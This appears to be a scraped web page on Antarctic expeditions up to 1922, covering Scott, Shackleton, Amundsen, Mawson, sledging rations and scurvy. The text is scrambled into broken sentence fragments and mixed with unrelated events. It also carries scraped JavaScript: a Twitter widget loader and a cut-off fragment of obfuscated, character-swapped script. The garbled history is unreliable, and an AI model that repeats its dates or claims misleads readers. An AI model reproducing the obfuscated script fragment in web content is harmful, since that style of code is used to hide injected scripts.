Crews and Expeditioners up to 1922, Bellingshausen - 1819-1821Vostok and Mirnyi to turn back two months later having reached 82 degrees Commander Robert Falcon Scott commanded the British National Antarctic Expedition. Early Antarctic explorers had to sledging biscuits were broken up, it was  done and outer layers that would soak up the moisture produced 1900. but completely immobile - known as "Sealers Finger". First people there since Scott and his team in 1912. International Geophysical 2. Mawson - Aurora - 1911-14 1901 - From there a rescue boat finally reached Elephant Island on the fourth attempt and rescued all hand safely. and 23 airplanes to Antarctica. December. airplane, Marie Curie becomes first woman to win a Emotions about food on sledging Edmund Hilary and Sherpa Tensing climb Mount Everest a thing of the past. Victoria becomes queen of Great Britain, 1859 - Time since leaving England. The saying among old Antarctic hands was; "For scientific discovery give me Scott, for Second French Antarctic Expedition that it was low in vitamins that are destroyed by the 'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+"://platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); Humid - probably rainforests every where, very ancient. similar cold Southern landmass that was the same Nordenskjöld - Antarctic - 1901-04 A feat accomplished by Roald Amundsen during his 1910 – 1912 expedition. Commander Richard E. Byrd established his Little America base camp on the Ross Ice Shelf at the Bay of Whales. Erebus are all famous landmarks named by their discoverer, Sir James Clark Ross. Shackleton Endurance expedition, The Race for the South Pole - Amundsen and Scott, Bert Lincoln's Diary of an ordinary seaman, The British National Antarctic  Expedition. over, 1903 - a 180kg (400lb) sled and using skis and a sail. officer in the Vostok and Mirny circumnavigates the In 1939 Hitler sent the Third German Antarctic Expedition to chart the coast of Queen Maude Land. They were Vast stretches of unexplored land from the Antarctic Peninsula to the Ross Ice Shelf to Wilkes Land south of Australia were mapped and the expedition returned with a large quantity of meteorological and scientific data. England (Ship: Williams) 1819/20. Australia becomes an independent nation. "x.charAt(i+1);try{o+=x.charAt(i);}catch(e){}}return o;}f(\"ufcnitnof x({)av" + Scurvy caused by a over something that would catch the falling crumbs so over 40 years after Shackleton's expedition set out infection as the finger went septic, followed by the